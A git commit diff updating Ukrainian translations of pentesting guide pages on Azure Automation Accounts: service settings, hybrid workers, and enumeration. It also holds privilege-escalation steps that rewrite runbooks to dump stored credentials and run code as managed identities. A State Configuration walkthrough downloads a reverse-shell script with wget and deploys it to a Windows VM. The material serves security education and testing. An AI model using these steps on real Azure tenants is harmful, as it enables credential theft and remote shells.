Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-01-10 13:19:34 +00:00
parent 0387700ca4
commit c78dff70ae
2 changed files with 78 additions and 32 deletions

View File

@@ -10,11 +10,20 @@
../az-services/az-automation-accounts.md
{{#endref}}
### Hybrid Workers
Пам'ятайте, що якщо зловмисник зможе виконати довільний runbook (довільний код) у гібридному робітнику, він **перейде до місця розташування VM**. Це може бути локальна машина, VPC іншого хмари або навіть Azure VM.
Більше того, якщо гібридний робітник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей VM з сервісу метаданих**.
> [!TIP]
> Пам'ятайте, що **сервіс метаданих** має іншу URL-адресу (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**).
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
У підсумку, ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в Обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті Облікового запису автоматизації та ескалації привілеїв до призначених **Управляємих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в Обліковому записі автоматизації.
У підсумку ці дозволи дозволяють **створювати, змінювати та виконувати Runbooks** в обліковому записі автоматизації, які ви можете використовувати для **виконання коду** в контексті облікового запису автоматизації та ескалації привілеїв до призначених **керованих ідентичностей** та витоку **облікових даних** і **зашифрованих змінних**, збережених в обліковому записі автоматизації.
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в Обліковому записі автоматизації, використовуючи:
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** дозволяє змінювати код Runbook в обліковому записі автоматизації, використовуючи:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -27,9 +36,9 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в Обліковому записі автоматизації.
Зверніть увагу, як попередній скрипт може бути використаний для **витоку імені користувача та пароля** облікових даних і значення **зашифрованої змінної**, збереженої в обліковому записі автоматизації.
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в Обліковому записі автоматизації, щоб зміни були застосовані:
Дозвіл **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** дозволяє користувачу публікувати Runbook в обліковому записі автоматизації, щоб зміни були застосовані:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -38,7 +47,11 @@ az automation runbook publish \
```
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/write`** дозволяє користувачу виконувати Runbook в Обліковому записі автоматизації за допомогою:
```bash
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Дозвіл **`Microsoft.Automation/automationAccounts/jobs/output/read`** дозволяє користувачу читати вихідні дані роботи в Обліковому записі автоматизації за допомогою:
```bash
@@ -67,7 +80,7 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік у обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
З дозволом **`Microsoft.Automation/automationAccounts/schedules/write`** можливо створити новий графік в обліковому записі автоматизації, який виконується кожні 15 хвилин (не дуже приховано) за допомогою наступної команди.
Зверніть увагу, що **мінімальний інтервал для графіка становить 15 хвилин**, а **мінімальний час початку - 5 хвилин** у майбутньому.
```bash
@@ -140,7 +153,7 @@ curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-aut
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Просто з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та запустити його за допомогою наступних команд.
Тільки з дозволом `Microsoft.Automation/automationAccounts/runbooks/draft/write` можливо **оновити код Runbook** без його публікації та виконати його за допомогою наступних команд.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -150,6 +163,7 @@ az automation runbook replace-content --no-wait \
--content 'echo "Hello World"'
# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
@@ -180,32 +194,48 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску **можливо підвищити привілеї**.
Це автоматично імпортує runbooks з репозиторію Github до Облікового запису автоматизації, і з деякими іншими дозволами для їх запуску буде **можливо підвищити привілеї**.
Більше того, пам'ятайте, що для роботи з контролем версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, це також можна налаштувати, встановивши в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **ідентифікатор клієнта** керованої користувачем ідентичності для використання.
Більше того, пам'ятайте, що для роботи контролю версій в Облікових записах автоматизації він повинен мати керовану ідентичність з роллю **`Contributor`**, і якщо це керована користувачем ідентичність, ідентифікатор клієнта MI повинен бути вказаний у змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
> [!TIP]
> Зверніть увагу, що неможливо змінити URL репозиторію контролю версій після його створення.
### Користувацькі середовища виконання
### `Microsoft.Automation/automationAccounts/variables/write`
Якщо обліковий запис автоматизації використовує користувацьке середовище виконання, може бути можливим перезаписати користувацький пакет середовища з деяким шкідливим кодом (наприклад, **задня двері**). Таким чином, щоразу, коли виконується runbook, що використовує це користувацьке середовище, і завантажується користувацький пакет, шкідливий код буде виконано.
З дозволом **`Microsoft.Automation/automationAccounts/variables/write`** можливо записувати змінні в Обліковий запис автоматизації, використовуючи наступну команду.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'
```
### Custom Runtime Environments
### Компрометація конфігурації стану
Якщо обліковий запис автоматизації використовує власне середовище виконання, може бути можливим перезаписати власний пакет середовища виконання деяким шкідливим кодом (наприклад, **задніми дверима**). Таким чином, щоразу, коли виконується runbook, що використовує це власне середовище виконання і завантажує власний пакет, шкідливий код буде виконано.
### Compromising State Configuration
**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Крок 1 — Створення файлів
**Необхідні файли:** Потрібні два скрипти PowerShell:
1. `reverse_shell_config.ps1`: Файл конфігурації бажаного стану (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує payload. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори серверів/payload.
- Крок 2 — Стиснення файлу конфігурації
`reverse_shell_config.ps1` стискається в файл `.zip`, що робить його готовим для передачі до Облікового запису Azure Storage.
Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
@@ -221,11 +251,11 @@ Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Скрипт редагується для вказівки цільової Windows VM та порту для зворотного шеллу.
Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
- Крок 5 — Опублікувати файл конфігурації
Файл конфігурації виконується, в результаті чого скрипт зворотного шеллу розгортається у вказаному місці на Windows VM.
Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM.
- Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача

View File

@@ -8,8 +8,8 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure,
### Settings
- **Credentials**: Пароль доступний лише в runbook всередині облікового запису автоматизації, вони використовуються для **зберігання імен користувачів та паролів у безпечному вигляді**.
- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також можуть бути чутливі дані, такі як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в runbook всередині облікового запису автоматизації.
- **Credentials**: Пароль доступний лише в рамках runbook всередині облікового запису автоматизації, вони використовуються для **безпечного зберігання імен користувачів та паролів**.
- **Variables**: Використовуються для зберігання **даних конфігурації**, які можуть бути використані в runbooks. Це також можуть бути чутливі дані, такі як API ключі. Якщо змінна **зберігається в зашифрованому вигляді**, вона доступна лише в рамках runbook всередині облікового запису автоматизації.
- **Certificates**: Використовуються для зберігання **сертифікатів**, які можуть бути використані в runbooks.
- **Connections**: Використовуються для зберігання **інформації про з'єднання** з зовнішніми сервісами. Це може містити **чутливу інформацію**.
- **Network Access**: Може бути встановлено на **публічний** або **приватний**.
@@ -18,17 +18,17 @@ Azure Automation Accounts - це хмарні сервіси в Microsoft Azure,
Runbook в Azure Automation - це **скрипт, який автоматично виконує завдання** у вашому хмарному середовищі. Runbooks можуть бути написані на PowerShell, Python або графічних редакторах. Вони допомагають автоматизувати адміністративні завдання, такі як управління ВМ, патчинг або перевірки відповідності.
У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як облікові дані).
У **коді**, розташованому всередині **Runbooks**, можуть міститися **чутливі дані** (такі як креденціали).
Перейдіть до `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
**Завдання** - це екземпляр виконання Runbook. Коли ви запускаєте Runbook, створюється завдання для відстеження цього виконання. Кожне завдання включає:
**Job - це екземпляр виконання Runbook**. Коли ви запускаєте Runbook, створюється Job для відстеження цього виконання. Кожен job включає:
- **Status**: У черзі, Виконується, Завершено, Не вдалося, Призупинено.
- **Output**: Результат виконання Runbook.
- **Start and End Time**: Коли завдання почалося і завершилося.
- **Start and End Time**: Коли job почався і завершився.
Завдання містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**).
Job містить **вихідні дані** виконання **Runbook**. Якщо ви можете **читати** **jobs**, робіть це, оскільки вони **містять** **вихідні дані** виконання (можливу **чутливу інформацію**).
### Schedules & Webhooks
@@ -36,7 +36,7 @@ Runbook в Azure Automation - це **скрипт, який автоматичн
- **Schedules**: Використовуються для **тригера** Runbooks у **вказаний час** або **інтервал**.
- **Webhooks**: Це **HTTP кінцеві точки**, які можуть бути використані для **тригера** Runbooks з **зовнішніх сервісів**. Зверніть увагу, що URL вебхука **не видимий** після створення.
- **Manual Trigger**: Ви можете **вручну запустити** Runbook з Azure Portal і з CLI.
- **Manual Trigger**: Ви можете **вручну запустити** Runbook з Azure Portal та з CLI.
### Source Control
@@ -46,7 +46,7 @@ Runbook в Azure Automation - це **скрипт, який автоматичн
Зверніть увагу, що ці вебхуки **не будуть видимі** при переліку вебхуків у пов'язаних runbooks до репозиторію Github. Також зверніть увагу, що **не можливо змінити URL репозиторію** джерела контролю після його створення.
Для того, щоб налаштований контроль джерела працював, **Azure Automation Account** повинен мати керовану ідентичність (системну або користувацьку) з роллю **`Contributor`**. Більше того, щоб призначити користувацьку керовану ідентичність обліковому запису автоматизації, це можна зробити, просто встановивши змінну **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** на **ID клієнта користувацької керованої ідентичності**.
Для того, щоб налаштований контроль джерела працював, **Azure Automation Account** повинен мати керовану ідентичність (системну або користувацьку) з роллю **`Contributor`**. Більше того, щоб призначити користувацьку керовану ідентичність обліковому запису автоматизації, потрібно вказати ідентифікатор клієнта користувацької MI в змінній **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Runtime Environments
@@ -61,23 +61,30 @@ Runbook в Azure Automation - це **скрипт, який автоматичн
Однак також можливо **створити свої власні середовища**, використовуючи одне з цих як основу. У випадку з Python можливо завантажити `.whl` пакети в середовище, яке буде використовуватися. У випадку з PowerShell можливо завантажити `.zip` пакети з модулями, які потрібно мати в середовищі виконання.
### Hybrid Worker
### Hybrid Worker Groups
Runbook може виконуватися в **контейнері всередині Azure** або в **Hybrid Worker** (не Azure машина).\
**Log Analytics Agent** розгортається на ВМ, щоб зареєструвати його як гібридного працівника.\
Завдання гібридного працівника виконуються як **SYSTEM** на Windows і **nxautomation** обліковий запис на Linux.\
Кожен гібридний працівник зареєстрований у **групі гібридних працівників**.
В Azure Automation стандартним середовищем виконання для runbooks є **Azure Sandbox**, хмарна платформа, керована Azure, що підходить для завдань, пов'язаних з ресурсами Azure. Однак цей пісочниця має обмеження, такі як обмежений доступ до локальних ресурсів та обмеження на час виконання та використання ресурсів. Щоб подолати ці обмеження, використовуються Групи гібридних працівників. Група гібридних працівників складається з **одного або кількох Гібридних працівників Runbook, встановлених на ваших власних машинах**, будь то локально, в інших хмарних середовищах або ВМ Azure. Ця конфігурація дозволяє runbooks виконуватися безпосередньо на цих машинах, надаючи прямий доступ до локальних ресурсів, можливість виконувати триваліші та більш ресурсомісткі завдання, а також гнучкість для взаємодії з середовищами, які виходять за межі безпосереднього доступу Azure.
Отже, якщо ви можете вибрати виконання **Runbook** на **Windows Hybrid Worker**, ви будете виконувати **произвольні команди** на зовнішній машині як **System** (гарна техніка повороту).
Коли створюється група гібридних працівників, потрібно вказати **креденціали** для використання. Є 2 варіанти:
- **Default credentials**: Вам не потрібно надавати креденціали, і runbooks будуть виконуватися всередині ВМ як **System**.
- **Specific credentials**: Вам потрібно вказати ім'я об'єкта креденціалів всередині облікового запису автоматизації, який буде використовуватися для виконання **runbooks всередині ВМ**. Тому в цьому випадку може бути можливим **викрасти дійсні креденціали** для ВМ.
Отже, якщо ви можете вибрати виконання **Runbook** в **Windows Hybrid Worker**, ви будете виконувати **произвольні команди** всередині зовнішньої машини як **System** (гарна техніка повороту).
Більше того, якщо гібридний працівник працює в Azure з іншими прикріпленими керованими ідентичностями, runbook зможе отримати доступ до **керованої ідентичності runbook та всіх керованих ідентичностей ВМ з сервісу метаданих**.
> [!TIP]
> Пам'ятайте, що **сервіс метаданих** має інший URL (**`http://169.254.169.254`**), ніж сервіс, з якого отримують токен керованих ідентичностей облікового запису автоматизації (**`IDENTITY_ENDPOINT`**).
### State Configuration (SC)
>[!WARNING]
> Як зазначено в [документації](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration буде знято з обслуговування 30 вересня 2027 року і замінено на [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Як зазначено в [документації](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), Azure Automation State Configuration буде виведено з експлуатації 30 вересня 2027 року і замінено на [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Облікові записи автоматизації також підтримують **State Configuration (SC)**, що є функцією, яка допомагає **конфігурувати** та **підтримувати** **стан** ваших ВМ. Можна **створювати** та **застосовувати** конфігурації DSC до **Windows** та **Linux** машин.
З точки зору атакуючого це було цікаво, оскільки це дозволяло **виконувати произвольний PS код на всіх налаштованих ВМ**, що дозволяло підвищувати привілеї до керованих ідентичностей цих ВМ, потенційно переходячи до нових мереж... Також конфігурації могли містити **чутливу інформацію**.
З точки зору атакуючого це було цікаво, оскільки це дозволяло **виконувати произвольний PS код у всіх налаштованих ВМ**, що дозволяло підвищувати привілеї до керованих ідентичностей цих ВМ, потенційно переходячи до нових мереж... Також конфігурації могли містити **чутливу інформацію**.
## Enumeration
```bash
@@ -180,6 +187,15 @@ az automation dsc configuration show --automation-account-name <AUTOMATION-ACCOU
# Get State Configuration content
az automation dsc configuration show-content --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <DSC-CONFIG-NAME>
# Get hybrid worker groups for an automation account
az automation hrwg list --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME>
# Get hybrid worker group details
az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resource-group <RG-NAME> --name <HYBRID-WORKER-GROUP>
# Get more details about a hybrid worker group (like VMs inside it)
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell